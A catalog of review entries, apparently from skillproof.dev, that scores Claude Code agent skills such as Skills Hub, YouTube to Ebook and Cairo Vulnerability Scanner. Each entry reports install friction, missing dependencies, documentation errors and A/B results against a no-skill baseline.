- **Skills Hub** [setup, 7.6/10] — Drives the real skills-hub CLI to browse and install preset skill kits, but kit apply silently requires a GUI-only project-registration step the SKILL.md never mentions. Repo: https://github.com/PotatoDog1669/skills-hub. Card: https://skillproof.dev/skills/skills-hub. What we found: Ran the real bundled CLI end to end in a throwaway HOME: `kit preset-list`, `preset-search`, and `preset-inspect` all worked and returned genuine curated preset data; `kit preset-install --id web-frontend-excellence` actually cloned real skills from 3 live GitHub sources (vercel-labs/agent-skills, addyosmani/web-quality-skills, anthropics/skills). But the documented final step, `kit apply --id <kit> --project <path> --agent <name>`, fails with 'Target project is not registered in Skills Hub' -- tracing the CLI source (lib/services/kit-service.mjs:802) shows project/agent registration has no CLI subcommand at all; it's only reachable through the separate Tauri desktop app, which the SKILL.md never mentions as a prerequisite.
- **AutoClaude Task Converter** [pass, 7.6/10] — Converts TASKS.md backlogs into AutoClaude's multi-file spec/requirements/plan JSON structure Repo: https://github.com/toddward/claude-skills-playground. Card: https://skillproof.dev/skills/autoclaude-task-converter. What we found: Ran the bundled convert_tasks.py for real against a 2-task TASKS.md fixture - it produced schema-correct spec.md/requirements.json/context.json/implementation_plan.json for both structured tasks with correct status/priority mapping, but silently swallowed a trailing standalone '- [ ] ...' checkbox task into the last structured task's acceptance criteria instead of creating it as its own spec, contradicting SKILL.md's claim that single-line tasks are separately supported.
- **Cosmosmith Product Discovery** [setup, 7.6/10] — Turns a vague product idea into a structured idea-brief with acceptance criteria, feeding a larger multi-role agent pipeline. Repo: https://github.com/devnomad-byte/cosmosmith. Card: https://skillproof.dev/skills/cosmosmith-product-discovery. What we found: Step 5 tells the agent to use 'the idea brief structure from the plugin template,' but that template lives at plugins/cosmosmith/templates/artifacts/idea-brief.md — a sibling of the skills/ folder, not inside the cosmosmith-product-discovery skill dir itself, so a verbatim `cp -r skills/cosmosmith-product-discovery` install silently drops the template (and the task.md/AGENTS.md scaffolding the workflow reads/writes) since those only get created by the separate `npx cosmosmith init` CLI, not by installing the skill.
- **Goal Chain** [setup, 7.6/10] — Runs judge-gated linear goal chains for Claude Code, but only as one piece of the goalkeeper plugin, not standalone. Repo: https://github.com/bonfire-systems/goalkeeper. Card: https://skillproof.dev/skills/goal-chain. What we found: Manually executed the Start-mode file writes (chain.json/active.json/state.json/log.md) for a throwaway 2-goal chain and every field matched the documented canonical shapes exactly, but the skill hard-depends on the sibling goal-judge and goal-prep skills (and skills/goal/SKILL.md's 'Canonical state shapes' section) that live outside skills/goal-chain/ -- a bare copy of just that folder has no contract-creation step and no judge to hand off to.
- **Ignore Topic** [setup, 7.6/10] — Manage glob-pattern .ignore rules to stop specific topic slugs from being auto-archived. Repo: https://github.com/hatawong/claude-recap. Card: https://skillproof.dev/skills/ignore-topic. What we found: The underlying add/remove/list logic works cleanly when run directly (verified live: added run-tests and wip-* glob patterns, listed them, removed one) -- but a verbatim cp -r of skills/ignore-topic/ yields a folder with only SKILL.md; the real ignore-topic.sh and ignore-topic-utils.sh sit in a sibling scripts/ dir at the plugin root, and the <plugin_scripts_path> the skill body depends on is a string only the plugin's own SessionStart hook ever injects, so a bare skill install has no way to resolve it without manual surgery.
- **Business Problem to Blueprint** [pass, 7.6/10] — B2B problem to CLAUDE.md: architecture, DB schema, phased plan Repo: https://github.com/zanecole10/software-tailor-skills. Card: https://skillproof.dev/skills/business-problem-to-blueprint. What we found: Gave the task 'dentistry for 4 doctors: paper appointment book, 18% no-shows, manual insurance claims' and checked the result not visually, but by execution: transferred the DB schema from each blueprint to real DDL and ran in SQLite with PRAGMA foreign_keys enabled. The baseline schema without skill compiled, but it was a flat 5 tables, and for seven mandatory business queries, it yielded 1 out of 7 — no next_recall_due field (meaning the main overdue dashboard had nothing to record), no reminders table, claims not linked to procedures. The skill's schema — 11 tables, 7 out of 7 queries passed, FK-check clean. Caveat: I wrote both blueprints myself, so part of the gap is my effort distribution, not just the skill; the skill's honest contribution here is that the 'complete database schema + phased breakdown' standard forces entities to be listed exhaustively. Minuses, preventing a higher score: SKILL.md is essentially one expanded example about fire inspections (38 lines) with a hardcoded Next.js/Supabase/Vercel stack (11 mentions), and it prescribes always outputting 'Pricing Recommendation' and ROI calculation, meaning the model is forced to invent numbers like $12–35K and 'saving $78,000/year' — for a catalog, this is a risk, not a feature.
- **YouTube to Ebook** [setup, 7.6/10] — Turns YouTube uploads into EPUB articles; documents live transcript API traps Repo: https://github.com/zarazhangrui/youtube-to-ebook. Card: https://skillproof.dev/skills/youtube-to-ebook. What we found: Ran the task «get YouTube video transcript and compile EPUB from articles» in a venv with real libraries. Baseline (what I write from memory) — YouTubeTranscriptApi.get_transcript(video_id) — failed on live youtube-transcript-api 1.2.4 with AttributeError: type object 'YouTubeTranscriptApi' has no attribute 'get_transcript'; code from skill's pitfall #3 (ytt_api = YouTubeTranscriptApi(); ytt_api.fetch(video_id)) worked and extracted 61 real snippets; class introspection confirmed only two public methods remained — fetch and list. That is, the main value of the skill (six documented pitfalls) was not fluff, but verifiably working knowledge that the model did not have from memory. The create_epub function from send_email.py assembled a valid EPUB of 3309 bytes with correct mimetype application/epub+zip and a table of contents; the Shorts detector via /shorts/ redirect correctly returned False for a long video (did not check positive case — no known Shorts ID). The full pipeline could not be measured: YOUTUBE_API_KEY and ANTHROPIC_API_KEY were needed, so the steps «video selection» and «article writing» remained unchecked. Documentation lied in two places: SKILL.md promised channels.txt and the command python main.py --channels, but argparse was completely absent in main.py, and channels were hardcoded as a CHANNELS list in get_videos.py (the string channels.txt appeared only in README and SKILL.md, not in any .py file); plus EPUB was assembled inside send_newsletter, so the claimed email «optionality» was disingenuous: without Gmail credentials, the file would be written to disk, but the pipeline would fail on SMTP, and run_newsletter.sh was hardcoded with paths /Users/bytedance/.
- **Business Brainstorm** [setup, 7.6/10] — Scores a business idea on 9 dimensions and forces a build/sleep/pass call Repo: https://github.com/coreyhaines31/makerskills. Card: https://skillproof.dev/skills/business-brainstorm. What we found: Pressure-tested one idea — a SaaS that auto-generates changelogs from git commits for indie devs — with and without the skill. The no-skill baseline hedged to "could work, validate first" and never named a killer; the skill's grid forced Monetization and Moat to explicit ❌ with reasons (git-cliff already does this free, GitHub ships it as a feature) and raised opportunity cost, a dimension the baseline never mentioned. The catch is that four of nine dimensions — portfolio fit, distribution, energy fit, opportunity cost — depend on a portfolio.local.md the repo never ships and never documents, so on a clean install the skill's own rubric routes to "run deep-research first" instead of delivering the verdict it advertises. Step 5's "always run /domain" also silently does nothing unless you install the sibling domain skill from the same repo. Real value in the framework, but budget two undocumented manual steps before the headline brief actually lands.
- **Memory Engine** [setup, 7.6/10] — Cross-session memory for Claude Code via hooks, handoffs, and slash commands Repo: https://github.com/HelloRuru/claude-memory-engine. Card: https://skillproof.dev/skills/memory-engine. What we found: A hooks-and-markdown memory system rather than a self-contained skill: the flagship auto-save, pitfall detection, and session-handoff features only fire once you copy eight Node hooks into ~/.claude/scripts and hand-register them across seven events in settings.json. Ran session-start.js live and it executed cleanly, printing its fresh-start message in Chinese by default. The backup script pushes only to a private GitHub repo you create yourself and its extra mirror is opt-in, so there is no hidden exfiltration.
- **Lets Go RSS** [setup, 7.6/10] — Aggregates YouTube/Vimeo/Bilibili/Weibo feeds with dedup, OPML and AI tagging Repo: https://github.com/ALBEDO-TABAI/lets-go-rss. Card: https://skillproof.dev/skills/lets-go-rss. What we found: Ran it live: added YouTube and Vimeo subscriptions, pulled 15 videos with cross-run dedup, and generated feed.xml, OPML and summary reports from one command. But the incremental report, the recommended bot-push artifact, said 'no new content' while 15 items landed: fetched_at is stored in UTC and compared against a local-time string, so --status silently reports nothing in any non-UTC timezone (--digest mode works around it). The headline China platforms (Bilibili/Weibo/Xiaohongshu) need a self-managed RSSHub or a Chrome remote-debugging session and went unmeasured.
- **Calendar Automation** [setup, 7.2/10] — Generates n8n workflow YAML for calendar digests, time blocking and meeting prep -- does not act on your calendar itself. Repo: https://github.com/claude-office-skills/skills. Card: https://skillproof.dev/skills/scheduling-assistant. What we found: Asked it to set up a daily calendar digest to Slack: the skill did NOT create a calendar event or send anything -- it returned an n8n YAML workflow definition and asked 'Would you like me to generate the full n8n workflow JSON?', so the real deliverable is an automation blueprint for you to deploy in n8n, not a live scheduling action. (Listed here under our older name; the skill's own name is "Calendar Automation".)
- **Understand: Explain** [setup, 7.2/10] — Gives a deep-dive explanation of a specific file, function, or module. Repo: https://github.com/Egonex-AI/Understand-Anything. Card: https://skillproof.dev/skills/understand-explain. What we found: Same repo change as its onboard sibling: the author added a read-only graph-freshness check (reads the graph commit, diffs against HEAD scoped with `-- .`, warns on drift), which I executed and verified is safe and works. The hard dependency the old 'fails' note called undisclosed is in fact stated in step 1 ('tell the user to run /understand first'), and the new step reinforces disclosure — so on re-run the skill matches rather than underperforms a no-skill baseline on a small explain task, adding layer context instead of being noisier. It is no longer worse than baseline, just not better on small inputs, so the honest verdict moves from 'fails' to 'setup' with real friction: you must first build the graph with the sibling skill.
- **Add App Clip** [setup, 7.2/10] — Adds an iOS App Clip target with AASA setup to an Expo app. Repo: https://github.com/sickn33/antigravity-awesome-skills. Card: https://skillproof.dev/skills/add-app-clip. What we found: Verbatim install worked cleanly and the SKILL.md is a valid, well-referenced walkthrough; A/B on the config-artifact task showed the skill arm producing the modern AASA notation (appIDs/components) and Expo-convention lowercase .clip bundle id where the base arm fell back to the legacy appID/paths format — a real but marginal edge, both were functionally correct. Note the full workflow needs Xcode, EAS, and an Apple Developer account, so only the config-artifact slice (AASA, associatedDomains, App Clip banner tag) was testable here; the trigger description is also over-broad, firing on bare AASA/smart-app-banner mentions without App Clip context.
- **Address GitHub Comments** [setup, 7.2/10] — Works through review comments on an open GitHub PR using the gh CLI. Repo: https://github.com/sickn33/antigravity-awesome-skills. Card: https://skillproof.dev/skills/address-github-comments. What we found: Verbatim install (clone + cp) worked first try; single self-contained SKILL.md with valid frontmatter, no missing files. A/B on a dry-run PR-review task (fabricated diff + 3 review comments, no live GitHub) showed the skill matches but does not beat a bare agent — identical fixes and reply drafts, with the skill adding only workflow structure. Note the skill's real workflow needs an authenticated gh CLI and a live open PR; that path was not exercised here.
- **Customize (NanoClaw)** [setup, 7.2/10] — Walks through adding channels, triggers, or integrations to NanoClaw interactively. Repo: https://github.com/nanocoai/nanoclaw. Card: https://skillproof.dev/skills/customize. What we found: Verbatim install is clean and the SKILL.md frontmatter/refs all check out, but only simple in-repo text edits (e.g. tweaking a group's CLAUDE.md persona) work standalone; the headline capabilities it advertises — adding channels, wiring MCP integrations, modifying the router — hard-depend on a full NanoClaw checkout plus the ncl admin CLI and sibling /add-* and /manage-channels skills that the copy-only install command never brings along. A/B on the one task a user CAN do standalone (rewrite a persona file to formal tone, preserve two rules, add a refund rule) showed the skill and the no-skill base arm producing effectively identical, fully-correct output, so the skill added no lift there.
- **PI Planning with Files** [pass, 7.2/10] — Tracks multi-step task progress in task_plan.md, findings.md, and progress.md files. Repo: https://github.com/OthmanAdi/planning-with-files. Card: https://skillproof.dev/skills/pi-planning-with-files. What we found: Verbatim install works cleanly under Claude Code: SKILL.md frontmatter parses as strict YAML and every referenced template/script exists. Note the headline automation (session-recovery hooks, /plan-execute, /plan-attest, auto-continue) needs a separate Pi-extension npm package that the card's cp install does not bring in; under plain Claude Code only the manual markdown-template workflow works. A/B: with the skill the plan gained resumability scaffolding the base lacked — a Goal north-star, a Current Phase pointer, and Decisions/Errors logs — which directly serve the task's 'resume after context reset' goal, though the base plan had slightly more granular per-phase steps.
- **Baoyu Compress Image** [setup, 7.2/10] — Compresses images to WebP or PNG using automatic tool selection. Repo: https://github.com/JimLiu/baoyu-skills. Card: https://skillproof.dev/skills/baoyu-compress-image. What we found: Real execution runs scripts/main.ts via `npx -y bun`; in this sandbox that was blocked as untrusted freshly-cloned external code, so it was judged on command and static code-trace correctness (a real user grants that trust once). Install was clean and verbatim, frontmatter parses as strict YAML, and the sips/cwebp/ImageMagick/Sharp fallback chain matches both the README and the actual code. In the A/B, the base arm's raw `cwebp -q 80` and the skill's own internal cwebp path resolve to the same command and would produce the same output on this test image (an 800x600 synthetic gradient PNG that grew 8,565 -> 67,850 bytes because a smooth PNG is already near-optimal for lossless) — the skill adds batch/temp-file/original-preservation safety but makes the identical quality-80 WebP decision and does not guard against a size increase, so it is same-quality, not better.
- **AI-Shaped Readiness Advisor** [pass, 7.2/10] — Assesses whether product work is AI-first or AI-shaped and what to build next. Repo: https://github.com/deanpeters/Product-Manager-Skills. Card: https://skillproof.dev/skills/ai-shaped-readiness-advisor. What we found: Verbatim clone+cp install works standalone from a single 43KB SKILL.md with clean strict-YAML frontmatter; note it cross-references sibling skills (workshop-facilitation as its 'source of truth' facilitation protocol, plus context-engineering-advisor and other advisors) that the one-folder install command does NOT copy, but it duplicates the full facilitation protocol and scoring rubric inline so nothing breaks. In an A/B on an identical team context dump, both arms independently reached the same maturity levels (2/1/2/1/1) and the same Context-Design-first priority with sound dependency reasoning, so the framework didn't change the substance; the skill's edge was fidelity — it applied the documented rubric labels and overall-average logic correctly (AI-First) and pulled framework-specific Week-1 actions (constraints registry, evidence standards), whereas the base mislabeled tiers off-by-one (called Level 2 'Transitioning', overall 'Emerging') and improvised generic Week-1 steps. Materially more checkable against the documented framework, but not transformative.
- **PR Review Analysis** [setup, 7.2/10] — Fetches and verifies GitHub PR review comments against the actual codebase. Repo: https://github.com/breaking-brake/cc-wf-studio. Card: https://skillproof.dev/skills/pr-review-analysis. What we found: Tested with an inline fabricated PR (auth.py timing-unsafe hash comparison plus utils.py helpers) carrying 4 review comments seeded to be 2 valid / 1 invalid / 1 partial; no real GitHub PR was touched. Install was clean (single-file SKILL.md, strict-YAML frontmatter, no missing references) and the skill's verify-each-comment-against-code framework was followed exactly. A/B: skill and base produced identical, fully-correct triage (Valid/Invalid/Valid/Partial) and both independently flagged the un-reviewed same-pattern bug in verify_admin_password, so the skill matched rather than beat the base on this task.
- **Azure AI: Anomaly Detector (Java)** [setup, 7.2/10] — Builds anomaly detection apps with the Azure AI Anomaly Detector SDK for Java. Repo: https://github.com/microsoft/skills. Card: https://skillproof.dev/skills/azure-ai-anomalydetector-java. What we found: Tested install, trigger accuracy, and a code-authoring task (write a UnivariateClient batch-detection method from an inline spec) against a base run with no skill. Both arms produced correct, compilable Java using the right types (TimeSeriesPoint, UnivariateDetectionOptions, detectUnivariateEntireSeries, UnivariateEntireDetectionResult), the 12-point guard, DAILY/sensitivity-95 options, and HttpResponseException-to-RuntimeException wrapping, so the skill matched rather than beat the model's baseline Azure SDK knowledge on this common univariate flow. Running against the live service needs an Azure Anomaly Detector resource (endpoint + API key) plus the azure-ai-anomalydetector 3.0.0-beta.6 Maven dependency; verified only at the code-authoring level.
- **AlphaEar Sentiment** [setup, 7.2/10] — Scores financial text sentiment as positive, negative, or neutral using FinBERT. Repo: https://github.com/RKiding/Awesome-finance-skills. Card: https://skillproof.dev/skills/alphaear-sentiment. What we found: Tested verbatim git-clone install (clean; frontmatter valid strict YAML, all referenced scripts present) plus a 5-headline financial-sentiment classification A/B. Skill's FinBERT path needs torch/transformers and a downloadable model (heavy, but no paid API), while its LLM/agentic mode is agent-driven per SKILL.md and works with zero external deps; DB-writeback helpers additionally need an initialized sqlite DatabaseManager. A/B showed the skill's agentic classification and the base (no-skill) direct classification produced effectively identical, correct labels and scores, so the skill adds structure/scoring-guide but no accuracy lift on inline text. Output is a sentiment-classification artifact only, NOT investment advice.
- **Cortex Automate** [setup, 7.2/10] — Teaches the exact tool-call schema for Cortex's prospective-memory triggers, recall rules, and CLAUDE.md sync. Repo: https://github.com/cdeust/Cortex. Card: https://skillproof.dev/skills/cortex-automate. What we found: The skill body is just tool-call examples for a private MCP surface (cortex:create_trigger, cortex:add_rule, cortex:sync_instructions) — it never states that using it requires the full separate Cortex/hypermnesia-mcp server installed and running first, which a plain SKILL.md copy won't give you.
- **Wiki Read** [setup, 7.2/10] — Full-text wiki search with cited answers, auto-researching when the wiki is empty. Repo: https://github.com/Oshayr/LLM-Wiki. Card: https://skillproof.dev/skills/wiki-read. What we found: search-fulltext.py correctly surfaced a fabricated team-specific fact ('runs 2-week sprints, planning every other Monday') that a baseline answer with no wiki access simply couldn't know, but the skill only ships as one of five skills in a larger plugin and breaks immediately if you copy just skills/read/ without the repo-root bin/ and agents/ folders.
- **Epistemic Deconstructor** [setup, 7.2/10] — Six-phase Bayesian reverse-engineering protocol with disk-persisted state and gated phase transitions. Repo: https://github.com/NikolasMarkou/epistemic-deconstructor. Card: https://skillproof.dev/skills/epistemic-deconstructor. What we found: Upstream indeed moved from v7.16.4 to v7.16.7 (four releases on 2026-07-16), but the diff shows that exactly two lines changed in SKILL.md itself: the version number in the header and an added link to warning-reception.md in phase 0.7; changes went into agent files, not the skill body. The exact problem we documented was not fixed by the author: the section on `make sync-skill` is verbatim the same as in v7.16.4, and a live run confirmed this — after a clean `git clone` + `cp -r src`, the ~/.claude/agents directory does not exist at all, meaning all 14 specialists are undispatchable, yet `make sync-skill` places 15 agent files there. Checked the gates properly in real sessions: `advance` without a declared tier is rejected with a clear error, `skip 0.3` without `domain_familiarity: high` is denied, `set-phase --force-state` actually writes ADMIN-OVERRIDE to decisions.md. Found a new discrepancy between docs and code: SKILL.md states 'Every other skip is refused', but `skip 2` is accepted and logged by the script (the phase cursor does not move) — the protocol is not bypassed, but the promise is stronger than reality. Stage 0 clean: read the full body + went through all 15 scripts, no network or exfiltration, the only `exec()` in simulator.py runs ODE-code through an AST-validator and restricted builtins. The setup verdict remains: the manual `make sync-skill` step is still there.
- **Accounting** [setup, 7.2/10] — Solid bootstrapped-founder bookkeeping playbook, buried under a MANDATORY coding-workflow preamble it can't actually satisfy standalone. Repo: https://github.com/galyarderlabs/galyarder-framework. Card: https://skillproof.dev/skills/accounting. What we found: The actual bookkeeping content (MRR-tiered software picks, a worked revenue-recognition example, quarterly tax due dates) genuinely beats generic advice, but the file opens with a 'MANDATORY' framework preamble requiring a Linear issue, sequentialthinking/context7 MCPs, and an Obsidian docs/departments/ vault that live outside the skill folder and don't exist after a standalone copy.
- **Skillcaddy Manager** [setup, 7.2/10] — Manages a Skillcaddy skill library end to end, but only from inside a full Skillcaddy checkout, not as a bare copied skill. Repo: https://github.com/chenweil/skillcaddy. Card: https://skillproof.dev/skills/skillcaddy-manager. What we found: Ran the bundled scripts live: check-global-skills.cjs correctly enumerated all 25 real skills in ~/.claude/skills on the test machine, and view-recommendations.cjs/check-conflicts.cjs produced real, versioned, rule-based recommendations (not generic LLM guesses). But the skill's actual title verbs -- enable/disable/audit -- all route through `npm start`/`server.js`/`lib/skillStore.js`, which live at the parent Skillcaddy repo root, outside the `skills/skillcaddy-manager/` folder that our required install method copies; a bare verbatim copy loses that core management function, and the Health Check section also hardcodes the author's own machine path (/Users/chenweilong/.codex/...).
- **Developer Growth Analysis** [setup, 7.2/10] — Reads your Claude Code history, names your skill gaps, DMs a report to Slack Repo: https://github.com/composio-community/awesome-claude-plugins. Card: https://skillproof.dev/skills/developer-growth-analysis. What we found: Task: ran a growth analysis on a synthetic history of 11 replicas (TS errors, undefined crashes, slow SQL, flakes); the 4024 real user .jsonl files were not touched. A baseline run produced a coherent but generic text: 5 general tips and zero quotes from the history. The skill-based run was much stronger: 9 replicas with timestamps as proof, a causal link "at 09:14 requested cast as string → at 11:02 a TypeError ... reading 'email' arrived", plus prioritization, time estimates, and 4 dated action items. But the sixth step, "automatically sends to your Slack DMs" from the description, was not executable: the environment had no Slack tool, and the SKILL.md file (81 lines) contained no history path, MCP name, or setup instructions. Delivery actually required a separate connect-apps plugin and a Composio key, mentioned only in the repository's README. The "high-quality curated articles" promise was also overstated: a live query to hn.algolia.com for "typescript type narrowing" returned a 2-point top story. The skill read chat history and sent a report externally without confirmation via a third-party hosted MCP—not exfiltration (recipient is the user's own DM, user-initiated), but worth knowing.
- **Apply (Job Application Filler)** [setup, 7.2/10] — Fills Greenhouse, Lever and Workday job applications via browser automation Repo: https://github.com/proficientlyjobs/proficiently-claude-skills. Card: https://skillproof.dev/skills/apply. What we found: A detailed, safety-conscious workflow - it demands explicit user confirmation before submitting and refuses to create accounts - but it could not be run end-to-end here: it needs a live ATS posting, a real resume and browser MCP, and submitting to a real employer is out of scope, so no baseline delta could be measured. Copying only skills/apply omits the shared/references files (prerequisites, data-directory, ats-patterns) and the sibling tailor-resume and cover-letter skills it invokes, so a standalone install is incomplete and you should clone the whole repo. Every completed run also appends an unsolicited 'Built by Proficiently - visit proficiently.com' promo to the user-facing output.
- **Universal Exam Cram Coach** [setup, 7.2/10] — Last-minute exam cram: builds a chapter wiki + quiz bank from your course files Repo: https://github.com/ZeKaiNie/universal-examprep-skill. Card: https://skillproof.dev/skills/universal-exam-cram-coach. What we found: The Python toolchain is real and runs: confirm -> ingest_course -> validate all execute, and ingesting two plain-text biology notes built two source-anchored chapter wikis plus a retrieval index and evidence JSON. But on that input the wiki was near-verbatim of the notes, the quiz bank came back empty (the bank-only design honestly refuses to fabricate questions, so it needs materials that actually contain questions), and the workspace gated to 'blocked' with quiz/teaching/artifact all unusable. Real friction: the English-facing skill rejected the mode 'exam' and only accepted Chinese canonical strings ('查缺补漏', '3-7天'), and its asset check hard-blocks any symlinked path. No clear delta over just reading the notes was demonstrable here, so it is honest 'setup', not a beat-the-baseline pass.
- **Spotify API** [setup, 7.2/10] — Create Spotify playlists, search music, control playback, generate SVG cover art Repo: https://github.com/fabioc-aloha/spotify-skill. Card: https://skillproof.dev/skills/spotify-api. What we found: Ran the bundled cover_art_generator.py offline and it produced a real 600x600 PNG, but the title 'Beast Mode' clipped off both canvas edges because the SVG uses a fixed 96px font with no auto-fit. cairosvg also needs native libcairo (brew install cairo) which requirements.txt omits, and all playlist/playback features sit behind a Spotify OAuth wall so they are unmeasured; the one testable feature is not clearly better than Claude hand-writing an SVG.
- **NotebookLM Video Research** [setup, 7.2/10] — Drive NotebookLM in Chrome to turn a YouTube link into a researched Audio Overview Repo: https://github.com/BayramAnnakov/notebooklm-youtube-skill. Card: https://skillproof.dev/skills/notebooklm-video-research. What we found: Install verified verbatim from a bare HOME and the frontmatter plus the referenced UI guide are solid, but the actual workflow could not be measured: it needs Claude Desktop's 'Control Chrome' connector plus a Google account already logged into NotebookLM, so there is no way to run it here and prove it beats a plain 'summarize this video' baseline. The README's own git-clone command still ships the placeholder YOUR_USERNAME and would fail as written. Sound as documentation, unproven as an automation.
- **alphaXiv** [setup, 6.8/10] — Looks up a single arXiv paper and returns an LLM-optimized summary. Repo: https://github.com/wanshuiyin/Auto-claude-code-research-in-sleep. Card: https://skillproof.dev/skills/alphaxiv. What we found: Verbatim single-skill install parses clean (strict-YAML frontmatter, no API key); the skill ran live against alphaxiv.org (curl overview/{id}.md, HTTP 200) and returned a genuine LLM-optimized summary. One harmless gap: SKILL.md links ../shared-references/integration-contract.md, not copied by the card's single-skill cp, but it is only referenced by the optional research-wiki ingest step, which self-guards on a missing research-wiki/ dir and exits silently. A/B on arXiv 1706.03762 was a wash: alphaxiv's endpoint supplied richer community-layer detail, but because the paper is canonical the base plain-arXiv arm produced an equally accurate, well-structured summary, so the skill's edge was masked on this well-known target.
- **Cairo Vulnerability Scanner** [setup, 6.8/10] — Scans Cairo/StarkNet contracts for felt252 overflow and messaging vulnerabilities. Repo: https://github.com/trailofbits/skills. Card: https://skillproof.dev/skills/cairo-vulnerability-scanner. What we found: Verbatim install is clean and the tightly-scoped Cairo/StarkNet description triggers accurately, but the docs have a real defect: SKILL.md's own '6 pattern' summary (Storage Collision, Improper Felt252 Boundaries, Missing Caller Validation, etc.) does not match the 6 patterns actually documented in resources/VULNERABILITY_PATTERNS.md (Felt252 Arithmetic, L1-L2 Address Conversion, L1-L2 Message Failure, Overconstrained L1<->L2, Signature Replay, Unchecked L1 Handler), and the file carries a duplicated '## 5.' header -- a copy-paste artifact from a sibling scanner skill. On an A/B against a 5-issue deliberately-vulnerable contract, the skill caught all 5 with no false positives, but the base arm (no skill) independently caught the same 5 plus the felt252-vs-u256 design note, so the skill showed no catch-rate lift on this contract. The value it adds is a structured, StarkNet-specific checklist and remediation references rather than additional detections.
- **AlphaEar Signal Tracker** [setup, 6.8/10] — Tracks how a finance trading signal's validity evolves as new market data comes in. Repo: https://github.com/RKiding/Awesome-finance-skills. Card: https://skillproof.dev/skills/alphaear-signal-tracker. What we found: Tested by re-evaluating a baseline investment signal after new market info (regulator withdrew an export-control carve-out); the skill's evolution logic is prompt-driven (references/PROMPTS.md, no paid API required -- JINA_API_KEY is optional with a free DDG fallback). Skill and base arms both correctly classified the signal as Falsified and moved sentiment negative / confidence up / expectation_gap down consistently, but the skill's structure did not beat the base model's direct reasoning (base gave slightly richer per-field rationale and a more defensible timeliness value), so A/B was a wash. Output is a code/output-correctness artifact only, NOT investment advice.
- **Smart Context Loader** [setup, 6.8/10] — Suggests files to preload from templates and historical usage patterns when a new task starts. Repo: https://github.com/egorfedorov/claude-context-optimizer. Card: https://skillproof.dev/skills/smart-loader. What we found: On a clean/fresh directory with no prior tracking history, following the skill's own instructions ("skip silently") produces output identical to not having the skill at all — its value only appears after several sessions have fed the tracker, which the one-line description doesn't make clear.
- **Rudder CLI Setup** [setup, 6.8/10] — Installs and authenticates rudder-cli; the CLI subcommands check out, but the binary-name table is stale. Repo: https://github.com/rudderlabs/rudder-agent-skills. Card: https://skillproof.dev/skills/rudder-cli-setup. What we found: Actually installed the real rudder-cli 0.21.0 binary and ran it: `rudder-cli auth login` and `rudder-cli workspace info` are real, correctly documented commands — but the skill's binary-name table (e.g. `rudder-cli_darwin_arm64`) 404s against the live release; the real asset is `rudder-cli_Darwin_arm64.tar.gz` and needs an untar step the skill never mentions.
- **Platform Product Manager** [setup, 6.8/10] — PRDs, layer maps and event schemas for multi-tenant B2B SaaS platforms Repo: https://github.com/shuangluan/Product-Manager-Platform. Card: https://skillproof.dev/skills/platform-product-manager. What we found: Asked both runs to design the event-tracking plan for an invite-a-teammate flow in a multi-tenant SaaS, then graded each against four analyst questions written before either answer existed. The baseline answered 0.5 of 4 — it carried no tenant_id, so it could not say which plan tier accepts invites worst, and no actor role or source dimension either. The skill's mandatory property block and questions-first ordering answered 4 of 4 and added the invite_viewed step the baseline's sent-to-accepted funnel was missing, though this is a checklist effect on judgment work rather than anything a compiler can confirm. Both install routes in the README are fiction: the packaged .skill file and the platform-product-manager/ folder it tells you to copy are not in the repo, and the three references/*.md deep-dives the skill body points to do not exist either. The command published here is one I built and watched succeed from a bare HOME.
- **Judge When To Ask** [setup, 6.8/10] — Decides when an autonomous coding agent should act silently vs. stop and ask before costly or irreversible actions. Repo: https://github.com/ilang-ai/autocode. Card: https://skillproof.dev/skills/judge-when-to-ask. What we found: Fed it a mixed batch (rename a local variable, force-push shared main, buy a $6/mo VPS, wipe-and-reseed a real DB) and it returned ACT / CONFIRM / CONFIRM / STOP with correct plain-language prompts. But a no-skill baseline reached the identical four decisions, so it formalizes judgment rather than improving it, and the 'I-Lang v5.0 vector judgment' branding is prose pseudo-syntax with no real engine behind it.
- **Security Research** [setup, 6.4/10] — Coordinates parallel vulnerability hunters and PoC engineers to audit a codebase. Repo: https://github.com/code-yeongyu/oh-my-openagent. Card: https://skillproof.dev/skills/security-research. What we found: The skill's own Hard Preconditions require `team_*` Team Mode tools from oh-my-openagent/opencode's multi-agent config, which are absent in standard Claude Code, so the advertised 3-hunter/2-PoC parallel workflow cannot run as designed and the skill's correct behavior would be to halt; it was tested here via a single-agent adaptation that ran the phases sequentially. Verbatim clone+copy installs cleanly (single SKILL.md, strict-YAML frontmatter parses, no missing referenced files). In an A/B on a defensive audit of a toy Express file, the skill-armed run and the base run were indistinguishable — both reached verdict BLOCK and found the same three vulnerabilities (SQLi CWE-89, path traversal CWE-22, OS command injection CWE-78) with equivalent CWE/line/fix detail and safe local PoCs, so the parallel-falsification value the skill is built around never materialized outside its native host.
- **Advanced Evaluation** [setup, 6.4/10] — Sets up LLM-as-judge scoring, pairwise comparisons, and bias-aware eval rubrics. Repo: https://github.com/sickn33/antigravity-awesome-skills. Card: https://skillproof.dev/skills/advanced-evaluation. What we found: Verbatim install worked cleanly: single self-contained SKILL.md with valid frontmatter, no external deps or API keys. In the A/B output test (pairwise judging with position-swap bias mitigation) the skill arm followed the documented protocol correctly, but the base arm without the skill produced an equally rigorous, equally correct result — the skill's guidance is sound but added no measurable lift on this task. Trigger description is somewhat over-broad ('create evaluation rubrics', 'automated quality assessment' can false-fire on non-LLM contexts), and the doc cites unsourced reliability stats (e.g. '15-25% improvement').
- **DeepChat Release** [setup, 6.4/10] — Prepares and publishes DeepChat releases with bilingual changelogs and version bumps. Repo: https://github.com/ThinkInAIXYZ/deepchat. Card: https://skillproof.dev/skills/deepchat-release. What we found: Hard dependency on the DeepChat repo: SKILL.md links '../../../docs/release-flow.md' which breaks once the skill is copied standalone into ~/.claude/skills as the install command instructs, and its 'Run Release Checks' step calls DeepChat-only pnpm scripts (oxfmt/oxlint/i18n-check/release-fast-forward.mjs) absent from any other repo, so it was tested DRY-RUN against only the portable artifacts (version bump, bilingual CHANGELOG entry, dev->release branch flow) in a local throwaway repo. Verbatim install itself was clean (SKILL.md + strict-YAML frontmatter + references/release-checklist.md all present, no surgery). A/B showed the skill matched the base agent exactly on the portable work — both correctly bumped 1.2.3->1.3.0, wrote an English-first/Chinese-second CHANGELOG section preserving the older entry, committed on dev, and cut a local release/v1.3.0 branch — so its DeepChat-specific conventions produced no materially better result on a task this size.
